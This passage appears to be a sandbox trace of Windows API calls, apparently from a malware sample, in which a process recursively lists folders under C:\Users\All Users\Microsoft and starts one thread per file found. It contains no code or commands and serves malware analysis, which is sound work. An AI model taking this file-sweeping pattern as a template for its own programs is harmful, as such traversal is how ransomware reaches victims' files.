lpFindFileData=0x33f1c40 | out: lpFindFileData=0x33f1c40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1dcfea0a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1b408c4a, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x1b408c4a, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageStore", cAlternateFileName="MESSAG~1")) returned 0 [0072.831] FindClose (in: hFindFile=0x3433a68 | out: hFindFile=0x3433a68) returned 1 [0072.831] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f1c40) returned 1 [0072.831] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480000) returned 1 [0072.831] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430f98) returned 1 [0072.831] RtlExitUserThread (Status=0x0) Thread: id = 515 os_tid = 0x13d0 [0072.315] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x50) returned 0x3430ee8 [0072.315] wcscpy (in: _Dest=0x3430ee8, _Source="C:\\Users\\All Users\\Microsoft\\Spectrum" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Spectrum") returned="C:\\Users\\All Users\\Microsoft\\Spectrum" [0072.315] wcscat (in: _Dest=0x3430ee8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Spectrum\\") returned="C:\\Users\\All Users\\Microsoft\\Spectrum\\" [0072.315] wcscat (in: _Dest=0x3430ee8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Spectrum\\*") returned="C:\\Users\\All Users\\Microsoft\\Spectrum\\*" [0072.315] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f1ea8 [0072.315] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Spectrum\\*", lpFindFileData=0x33f1ea8 | out: lpFindFileData=0x33f1ea8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe3607ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433b28 [0072.316] wcscmp (_String1=".", _String2=".") returned 0 [0072.316] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x33f1ea8 | out: lpFindFileData=0x33f1ea8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe3607ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.316] wcscmp (_String1="..", _String2=".") returned 1 [0072.316] wcscmp (_String1="..", _String2="..") returned 0 [0072.316] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x33f1ea8 | out: lpFindFileData=0x33f1ea8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe3607ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0072.316] FindClose (in: hFindFile=0x3433b28 | out: hFindFile=0x3433b28) returned 1 [0072.316] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f1ea8) returned 1 [0072.316] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430ee8) returned 1 [0072.316] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430c80) returned 1 [0072.316] RtlExitUserThread (Status=0x0) Thread: id = 516 os_tid = 0x13d4 [0072.318] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3427138 [0072.318] wcscpy (in: _Dest=0x3427138, _Source="C:\\Users\\All Users\\Microsoft\\Speech_OneCore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Speech_OneCore") returned="C:\\Users\\All Users\\Microsoft\\Speech_OneCore" [0072.318] wcscat (in: _Dest=0x3427138, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Speech_OneCore\\") returned="C:\\Users\\All Users\\Microsoft\\Speech_OneCore\\" [0072.318] wcscat (in: _Dest=0x3427138, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Speech_OneCore\\*") returned="C:\\Users\\All Users\\Microsoft\\Speech_OneCore\\*" [0072.318] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f1ea8 [0072.318] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Speech_OneCore\\*", lpFindFileData=0x33f1ea8 | out: lpFindFileData=0x33f1ea8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe360d61, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433b28 [0072.319] wcscmp (_String1=".", _String2=".") returned 0 [0072.319] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x33f1ea8 | out: lpFindFileData=0x33f1ea8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe360d61, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.319] wcscmp (_String1="..", _String2=".") returned 1 [0072.319] wcscmp (_String1="..", _String2="..") returned 0 [0072.319] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x33f1ea8 | out: lpFindFileData=0x33f1ea8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe360d61, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0072.319] FindClose (in: hFindFile=0x3433b28 | out: hFindFile=0x3433b28) returned 1 [0072.319] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f1ea8) returned 1 [0072.319] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427138) returned 1 [0072.320] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fbe0) returned 1 [0072.320] RtlExitUserThread (Status=0x0) Thread: id = 517 os_tid = 0x13d8 [0072.322] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3427138 [0072.322] wcscpy (in: _Dest=0x3427138, _Source="C:\\Users\\All Users\\Microsoft\\Storage Health" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Storage Health") returned="C:\\Users\\All Users\\Microsoft\\Storage Health" [0072.322] wcscat (in: _Dest=0x3427138, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Storage Health\\") returned="C:\\Users\\All Users\\Microsoft\\Storage Health\\" [0072.322] wcscat (in: _Dest=0x3427138, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Storage Health\\*") returned="C:\\Users\\All Users\\Microsoft\\Storage Health\\*" [0072.322] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f1ea8 [0072.322] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Storage Health\\*", lpFindFileData=0x33f1ea8 | out: lpFindFileData=0x33f1ea8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcb4dcad0, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xcb4dcad0, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433b28 [0072.322] wcscmp (_String1=".", _String2=".") returned 0 [0072.322] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x33f1ea8 | out: lpFindFileData=0x33f1ea8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcb4dcad0, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xcb4dcad0, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.322] wcscmp (_String1="..", _String2=".") returned 1 [0072.323] wcscmp (_String1="..", _String2="..") returned 0 [0072.323] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x33f1ea8 | out: lpFindFileData=0x33f1ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb4dcad0, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xcb4dcad0, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x2ab8b28d, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x1571, dwReserved0=0x0, dwReserved1=0x0, cFileName="StorageEventsArchive.dat", cAlternateFileName="STORAG~1.DAT")) returned 1 [0072.323] wcscmp (_String1="StorageEventsArchive.dat", _String2=".") returned 1 [0072.323] wcscmp (_String1="StorageEventsArchive.dat", _String2="..") returned 1 [0072.323] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347bb70 [0072.323] wcscpy (in: _Dest=0x347bb70, _Source="C:\\Users\\All Users\\Microsoft\\Storage Health" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Storage Health") returned="C:\\Users\\All Users\\Microsoft\\Storage Health" [0072.323] wcscat (in: _Dest=0x347bb70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Storage Health\\") returned="C:\\Users\\All Users\\Microsoft\\Storage Health\\" [0072.323] wcscat (in: _Dest=0x347bb70, _Source="StorageEventsArchive.dat" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageEventsArchive.dat") returned="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageEventsArchive.dat" [0072.828] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347bb70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x398 [0072.828] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x33f1ea8 | out: lpFindFileData=0x33f1ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x529e643a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x529e643a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x529e643a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1375f, dwReserved0=0x0, dwReserved1=0x0, cFileName="StorageHealthModel.dat", cAlternateFileName="")) returned 1 [0072.828] wcscmp (_String1="StorageHealthModel.dat", _String2=".") returned 1 [0072.828] wcscmp (_String1="StorageHealthModel.dat", _String2="..") returned 1 [0072.828] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x86) returned 0x33e2f00 [0072.828] wcscpy (in: _Dest=0x33e2f00, _Source="C:\\Users\\All Users\\Microsoft\\Storage Health" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Storage Health") returned="C:\\Users\\All Users\\Microsoft\\Storage Health" [0072.829] wcscat (in: _Dest=0x33e2f00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Storage Health\\") returned="C:\\Users\\All Users\\Microsoft\\Storage Health\\" [0072.829] wcscat (in: _Dest=0x33e2f00, _Source="StorageHealthModel.dat" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageHealthModel.dat") returned="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageHealthModel.dat" [0072.829] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e2f00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5dc [0072.829] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x33f1ea8 | out: lpFindFileData=0x33f1ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x529e643a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x529e643a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x529e643a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1375f, dwReserved0=0x0, dwReserved1=0x0, cFileName="StorageHealthModel.dat", cAlternateFileName="")) returned 0 [0072.829] FindClose (in: hFindFile=0x3433b28 | out: hFindFile=0x3433b28) returned 1 [0072.829] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f1ea8) returned 1 [0072.829] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427138) returned 1 [0072.830] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fa00) returned 1 [0072.830] RtlExitUserThread (Status=0x0) Thread: id = 518 os_tid = 0x13dc [0072.323] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x46) returned 0x3480ee8 [0072.323] wcscpy (in: _Dest=0x3480ee8, _Source="C:\\Users\\All Users\\Microsoft\\UEV" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV") returned="C:\\Users\\All Users\\Microsoft\\UEV" [0072.323] wcscat (in: _Dest=0x3480ee8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\" [0072.323] wcscat (in: _Dest=0x3480ee8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\*") returned="C:\\Users\\All Users\\Microsoft\\UEV\\*" [0072.323] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f01c8 [0072.323] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\*", lpFindFileData=0x33f01c8 | out: lpFindFileData=0x33f01c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe3615f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433b68 [0072.324] wcscmp (_String1=".", _String2=".") returned 0 [0072.324] FindNextFileW (in: hFindFile=0x3433b68, lpFindFileData=0x33f01c8 | out: lpFindFileData=0x33f01c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe3615f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.324] wcscmp (_String1="..", _String2=".") returned 1 [0072.324] wcscmp (_String1="..", _String2="..") returned 0 [0072.324] FindNextFileW (in: hFindFile=0x3433b68, lpFindFileData=0x33f01c8 | out: lpFindFileData=0x33f01c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46867b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InboxTemplates", cAlternateFileName="INBOXT~1")) returned 1 [0072.324] wcscmp (_String1="InboxTemplates", _String2=".") returned 1 [0072.324] wcscmp (_String1="InboxTemplates", _String2="..") returned 1 [0072.324] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x60) returned 0x3426df8 [0072.324] wcscpy (in: _Dest=0x3426df8, _Source="C:\\Users\\All Users\\Microsoft\\UEV" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV") returned="C:\\Users\\All Users\\Microsoft\\UEV" [0072.324] wcscat (in: _Dest=0x3426df8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\" [0072.324] wcscat (in: _Dest=0x3426df8, _Source="InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0072.824] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3426df8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x39c [0072.825] FindNextFileW (in: hFindFile=0x3433b68, lpFindFileData=0x33f01c8 | out: lpFindFileData=0x33f01c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe469068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scripts", cAlternateFileName="")) returned 1 [0072.825] wcscmp (_String1="Scripts", _String2=".") returned 1 [0072.825] wcscmp (_String1="Scripts", _String2="..") returned 1 [0072.825] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x52) returned 0x34801e0 [0072.825] wcscpy (in: _Dest=0x34801e0, _Source="C:\\Users\\All Users\\Microsoft\\UEV" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV") returned="C:\\Users\\All Users\\Microsoft\\UEV" [0072.825] wcscat (in: _Dest=0x34801e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\" [0072.825] wcscat (in: _Dest=0x34801e0, _Source="Scripts" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\Scripts") returned="C:\\Users\\All Users\\Microsoft\\UEV\\Scripts" [0072.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x34801e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d8 [0072.826] FindNextFileW (in: hFindFile=0x3433b68, lpFindFileData=0x33f01c8 | out: lpFindFileData=0x33f01c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46954b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0072.826] wcscmp (_String1="Templates", _String2=".") returned 1 [0072.826] wcscmp (_String1="Templates", _String2="..") returned 1 [0072.826] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x347fc40 [0072.826] wcscpy (in: _Dest=0x347fc40, _Source="C:\\Users\\All Users\\Microsoft\\UEV" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV") returned="C:\\Users\\All Users\\Microsoft\\UEV" [0072.826] wcscat (in: _Dest=0x347fc40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\" [0072.826] wcscat (in: _Dest=0x347fc40, _Source="Templates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\Templates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\Templates" [0072.826] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347fc40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x588 [0072.827] FindNextFileW (in: hFindFile=0x3433b68, lpFindFileData=0x33f01c8 | out: lpFindFileData=0x33f01c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46954b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0072.827] FindClose (in: hFindFile=0x3433b68 | out: hFindFile=0x3433b68) returned 1 [0072.827] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f01c8) returned 1 [0072.827] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480ee8) returned 1 [0072.827] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341c110) returned 1 [0072.827] RtlExitUserThread (Status=0x0) Thread: id = 519 os_tid = 0x13e0 [0072.324] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3479cb8 [0072.325] wcscpy (in: _Dest=0x3479cb8, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures" [0072.325] wcscat (in: _Dest=0x3479cb8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0072.325] wcscat (in: _Dest=0x3479cb8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\*") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\*" [0072.325] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f0698 [0072.325] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\*", lpFindFileData=0x33f0698 | out: lpFindFileData=0x33f0698*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbaae4059, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xbaae4059, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433ba8 [0072.325] wcscmp (_String1=".", _String2=".") returned 0 [0072.325] FindNextFileW (in: hFindFile=0x3433ba8, lpFindFileData=0x33f0698 | out: lpFindFileData=0x33f0698*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbaae4059, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xbaae4059, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.325] wcscmp (_String1="..", _String2=".") returned 1 [0072.325] wcscmp (_String1="..", _String2="..") returned 0 [0072.325] FindNextFileW (in: hFindFile=0x3433ba8, lpFindFileData=0x33f0698 | out: lpFindFileData=0x33f0698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4ecc15f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa4ecc15f, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa4ecc15f, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x930d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default User.dat", cAlternateFileName="DEFAUL~1.DAT")) returned 1 [0072.325] wcscmp (_String1="Default User.dat", _String2=".") returned 1 [0072.325] wcscmp (_String1="Default User.dat", _String2="..") returned 1 [0072.325] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x88) returned 0x33e2600 [0072.325] wcscpy (in: _Dest=0x33e2600, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures" [0072.325] wcscat (in: _Dest=0x33e2600, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0072.325] wcscat (in: _Dest=0x33e2600, _Source="Default User.dat" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default User.dat") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default User.dat" [0072.814] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e2600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x798 [0072.815] FindNextFileW (in: hFindFile=0x3433ba8, lpFindFileData=0x33f0698 | out: lpFindFileData=0x33f0698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37896d36, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x37896d36, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x37896d36, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy.dat", cAlternateFileName="")) returned 1 [0072.815] wcscmp (_String1="FD1HVy.dat", _String2=".") returned 1 [0072.815] wcscmp (_String1="FD1HVy.dat", _String2="..") returned 1 [0072.815] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7c) returned 0x33c45b8 [0072.815] wcscpy (in: _Dest=0x33c45b8, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures" [0072.815] wcscat (in: _Dest=0x33c45b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0072.815] wcscat (in: _Dest=0x33c45b8, _Source="FD1HVy.dat" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\FD1HVy.dat") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\FD1HVy.dat" [0072.815] CreateThread (in: 